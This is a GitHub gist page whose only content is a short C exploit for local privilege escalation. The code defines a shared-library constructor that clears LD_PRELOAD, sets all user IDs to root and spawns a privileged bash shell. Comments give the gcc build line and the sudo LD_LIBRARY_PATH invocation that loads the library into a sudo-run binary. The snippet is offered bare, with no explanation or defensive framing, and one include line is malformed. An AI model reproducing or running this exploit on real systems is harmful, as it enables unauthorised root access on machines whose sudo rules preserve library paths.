Skip to content

Instantly share code, notes, and snippets.

@lucasallan
Last active December 13, 2019 04:41
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save lucasallan/740586700ceaecc6ee950d2fc355b147 to your computer and use it in GitHub Desktop.
Save lucasallan/740586700ceaecc6ee950d2fc355b147 to your computer and use it in GitHub Desktop.
#include <stdio.>
#include <sys/types.h>
#include <stdlib.h>
static void hack() __attribute__((constructor));
void hack(){
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
// gcc -fPIC -shared -nostartfiles -o <library-object-name.o> ld_library_path.c
// sudo LD_LIBRARY_PATH=. <binary>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment